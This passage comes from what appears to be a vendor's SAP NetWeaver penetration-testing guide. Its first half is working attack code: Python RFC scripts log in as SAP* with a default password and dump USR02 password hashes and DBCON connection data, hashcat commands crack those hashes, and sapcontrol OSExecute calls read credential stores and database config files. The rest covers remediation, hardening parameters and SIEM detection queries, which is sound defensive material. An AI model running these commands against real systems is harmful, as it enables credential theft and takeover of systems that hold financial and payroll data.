user="SAP*", passwd="06071992")
# USR02 contains BCODE (legacy 8-byte DES hash) and PWDSALTEDHASH (modern hash)
result = conn.call("RFC_READ_TABLE",
QUERY_TABLE="USR02",
DELIMITER="|",
FIELDS=[
{"FIELDNAME": "MANDT"},
{"FIELDNAME": "BNAME"}, # Username
{"FIELDNAME": "BCODE"}, # Legacy DES hash (8 bytes hex)
{"FIELDNAME": "PASSCODE"}, # SHA-1 hash (newer systems)
{"FIELDNAME": "PWDSALTEDHASH"}, # bcrypt/PBKDF2 hash (modern)
{"FIELDNAME": "USTYP"}, # User type (A=dialog, S=system, C=comm)
{"FIELDNAME": "CLASS"}, # User group
]
)
print("[+] USR02 hash dump:")
for row in result.get("DATA", []):
print(f" {row.get('WA', '')}")
conn.close()
EOF
# Method 2: Via DBACOCKPIT (SAP DBA Cockpit transaction — SQL execution)
# DBACOCKPIT allows direct SQL if the user has DBA_COCKPIT authorization
# Navigate to: transaction DBACOCKPIT > SQL Editor
# SQL: SELECT MANDT, BNAME, BCODE, PWDSALTEDHASH FROM USR02
# Method 3: Via OS-level DB direct access (after OS command execution)
# For HANA: hdbsql -i 00 -d SYSTEMDB -u SYSTEM -p PASSWORD
# "SELECT MANDT, BNAME, BCODE, PWDSALTEDHASH FROM SAPABAP1.USR02"
# Crack BCODE hashes (legacy 8-character DES, uppercase only, padded with spaces)
# hashcat mode for SAP BCODE: -m 7700
hashcat -m 7700 sap_bcode_hashes.txt /usr/share/wordlists/rockyou.txt
# Crack modern SAP SHA-1 password hashes: -m 7701
hashcat -m 7701 sap_sha1_hashes.txt /usr/share/wordlists/rockyou.txt
# SAP stores database connection parameters in profile files
# DEFAULT.PFL is the global profile, applied to all instances
# Path: /usr/sap/{SID}/SYS/profile/DEFAULT.PFL
# Via sapcontrol OS command execution (if accessible)
sapcontrol -host TARGET -nr 00 -function OSExecute \
-executablepath "/bin/grep" \
-arguments "-E 'dbms|dbs/|passwd|hdb' /usr/sap/PRD/SYS/profile/DEFAULT.PFL"
# Key parameters to extract:
# dbms/name = HDB, ORA, MSS, DB6, SYB (database type)
# dbs/hdb/dbname = SYSTEMDB (HANA system DB name)
# dbs/ora/tnsname = PRD (Oracle TNS alias)
# rdisp/dbname = SAPPRD (instance/schema name)
# SAP Secure Store / Keystore — contains encrypted passwords
# SSFS (Secure Storage in File System) for HANA: /usr/sap/{SID}/SYS/global/hdb/security/ssfs/
# R3TRANS and other tools decrypt using the secure store key
# Read encrypted HANA credentials from SSFS
sapcontrol -host TARGET -nr 00 -function OSExecute \
-executablepath "/bin/ls" \
-arguments "-la /usr/sap/PRD/SYS/global/hdb/security/ssfs/"
# For Oracle: tnsnames.ora and listener.ora reveal connection strings
sapcontrol -host TARGET -nr 00 -function OSExecute \
-executablepath "/bin/cat" \
-arguments "/oracle/PRD/12.1/network/admin/tnsnames.ora"
# ABAP table DBCON (via RFC_READ_TABLE) — stores external DB connections
python3 << 'EOF'
import pyrfc
conn = pyrfc.Connection(ashost="TARGET", sysnr="00", client="000",
user="SAP*", passwd="06071992")
# DBCON table: SAP external database connections with usernames
result = conn.call("RFC_READ_TABLE",
QUERY_TABLE="DBCON",
DELIMITER="|",
FIELDS=[
{"FIELDNAME": "CON_NAME"},
{"FIELDNAME": "DBMS"},
{"FIELDNAME": "CON_ENV"},
{"FIELDNAME": "USER_LOGON"}
]
)
print("[+] DBCON external connections:")
for row in result.get("DATA", []):
print(f" {row.get('WA', '')}")
conn.close()
EOF
# Extract SAP kernel security configuration
sapcontrol -host TARGET -nr 00 -function ParameterValue -paramname "login/password_hash_algorithm"
sapcontrol -host TARGET -nr 00 -function ParameterValue -paramname "login/no_automatic_user_sapstar"
sapcontrol -host TARGET -nr 00 -function ParameterValue -paramname "gw/acl_mode"
sapcontrol -host TARGET -nr 00 -function ParameterValue -paramname "icm/HTTP/auth_0"
Ironimo runs automated security scans that detect CVE-2020-6287, CVE-2022-22536, default SAP credentials, unauthenticated Management Console access, and ICM misconfigurations — giving you a complete SAP attack surface map without manual enumeration.
Start free scan| Finding | Risk | Remediation |
|---|---|---|
| CVE-2020-6287 (RECON) unpatched | Critical | Apply SAP Security Note 2934135 immediately. Disable the LM Configuration Wizard service if AS Java is not required. Block /CTCWebService/ at the perimeter WAF as interim mitigation. |
| CVE-2022-22536 (HTTP smuggling) unpatched | Critical | Apply SAP Security Note 3123396. Update SAP Kernel to patched levels: 7.22 patch 1000+, 7.49 patch 709+, 7.53 patch 509+, 7.77 patch 309+. Disable HTTP/1.1 keep-alive if business impact is acceptable. |
| SAP* default password (06071992) | Critical | Set profile parameter login/no_automatic_user_sapstar=1 to disable the hardcoded kernel fallback. Change SAP* password in all clients. Lock the SAP* account (cannot be deleted safely without setting the parameter first). |
| DDIC/SAPCPIC default passwords | Critical | Change immediately in all clients (000, 001, and all business clients). Lock EARLYWATCH in all non-066 clients. Audit via report RSUSR003 or transaction SU01. |
| SAP Management Console unauthenticated | Critical | Apply SAP Host Agent update to enforce authentication on sapcontrol. Restrict port 5{NR}13 to management networks only. Set profile parameter service/protectedwebmethods=SDEFAULT in DEFAULT.PFL. |
| Message Server HTTP port 3900 exposed | High | Restrict TCP 3900 to SAP application server IPs only. Enable message server access control via msserv_security file. Set profile parameters ms/server_port_0=PROT=HTTP,PORT=3900 with ACL restrictions. |
| RFC gateway with gw/acl_mode=0 | High | Set gw/acl_mode=1 and configure reginfo/secinfo files to whitelist authorized RFC server programs and hosts. Apply SAP Note 1408081 guidance. Monitor for unauthorized gateway registrations. |
| RFC_READ_TABLE accessible to low-privilege users | High | Restrict S_RFC authorization for RFC_READ_TABLE. Replace with function-specific RFCs. Audit RFC authorizations via SU53/ST01. Consider third-party RFC authorization management tools. |
| ICM/Web Dispatcher exposed to internet | High | Place SAP Web Dispatcher behind a WAF with OWASP rulesets. Apply HTTP request smuggling mitigations at the WAF layer (strict HTTP parsing). Monitor ICM logs for request smuggling indicators (duplicate headers, unusual chunked encoding). |
| ABAP OS command function modules accessible | High | Remove RFC_REMOTE_EXEC, SYSTEM, and SXPG_COMMAND_EXECUTE from remote RFC access via authorization object S_RFC. Restrict SM69 external command definitions to trusted commands only. Audit all RFC-enabled function modules with OS execution capability. |
| /sap/public/info leaking system info | Medium | Restrict /sap/public/info to trusted IP ranges via ICM profile parameter icm/HTTP/mod_0. Consider disabling if not required for external load balancer health checks. |
# Apply these profile parameters in DEFAULT.PFL to harden the baseline
# Reload: sapcontrol -nr 00 -function RestartService (or restart during maintenance window)
# Disable SAP* kernel backdoor
login/no_automatic_user_sapstar = 1
# Password policy
login/min_password_length = 12
login/password_compliance_to_current_policy = 1
login/password_hash_algorithm = iSSHA-256
# ICM access control
icm/HTTP/mod_0 = PREFIX=/sap/public/info,SAML_ANON=,,REDIRECTURL=
# RFC gateway hardening
gw/sec_info = $(DIR_DATA)/secinfo
gw/reg_info = $(DIR_DATA)/reginfo
gw/acl_mode = 1
gw/monitor = 0
# Message server protection
ms/monitor = 0
ms/server_port_0 = PROT=HTTP,PORT=3900,TIMEOUT=20,PROCTIMEOUT=10
# SAP Management Console protection
service/protectedwebmethods = SDEFAULT
# HTTP security headers via ICM
icm/HTTP/security_header = X-Frame-Options: SAMEORIGIN
icm/HTTP/security_header_1 = X-Content-Type-Options: nosniff
icm/HTTP/security_header_2 = X-XSS-Protection: 1; mode=block
# SAP Security Audit Log (SM20/RSAU_READ_LOG) — must be enabled
# Enable via SM19 transaction or profile parameter rsau/enable=1
# Critical audit log events to monitor:
# AU1: Login failures (wrong password)
# AU2: Successful logon
# AU3: RFC/CPIC logon
# BU1: User created
# CU1: Authorization check failure
# DU9: Transaction started
# Enable SAP audit log
# SM19 > Security Audit Log Configuration:
# Filter: all classes, all clients, severity = Critical+Warning
# SIEM query for RECON exploitation attempts (Splunk SPL)
# index=sap_logs sourcetype=sap_ictm
# uri="/CTCWebService/CTCWebServiceBean" method=POST
# | stats count by src_ip, dest_ip, http_response_code
# | where count > 1
# SIEM query for default credential login attempts
# index=sap_audit_log EventClass=AU1 User IN ("SAP*","DDIC","SAPCPIC","EARLYWATCH")
# | stats count by User, Client, SourceIP
# | where count > 3
# SAP transaction SM21 — system log for kernel-level events
# Look for: "RFC connection refused", "gateway security violation", "ICM error"
# Check for unauthorized RFC gateway registrations
# SM59 > RFC Connections (check for unknown external RFC destinations)
# SMGW > Gateway Monitor > Logged On Clients (shows all active RFC connections)
SAP NetWeaver presents one of the most consequential attack surfaces in enterprise IT — a compromised SAP system typically means access to financial records, payroll data, supply chain information, and the ability to post fraudulent transactions. CVE-2020-6287 (RECON) and CVE-2022-22536 are both CVSS 10.0 vulnerabilities with no authentication requirement on affected systems; either one can be a direct path to OS-level code execution and full system compromise. Default credentials — particularly SAP*'s kernel-level backdoor — remain prevalent in environments with poor SAP security governance.
For authorized assessments: begin with nmap across the full SAP port range to identify the system number and stack type; probe /sap/public/info for unauthenticated system metadata; test the LM Configuration Wizard WSDL endpoint for CVE-2020-6287; check ICM for HTTP smuggling susceptibility via timing probes; enumerate the SAP Management Console SOAP API; test all default credentials across multiple clients; and once authenticated, enumerate RFC function modules and extract USR02 password hashes via RFC_READ_TABLE. The RFC gateway's gw/acl_mode setting is a frequent critical finding in SAP assessments — an open gateway allows any host to register as an RFC application server, enabling man-in-the-middle attacks against authenticated SAP sessions.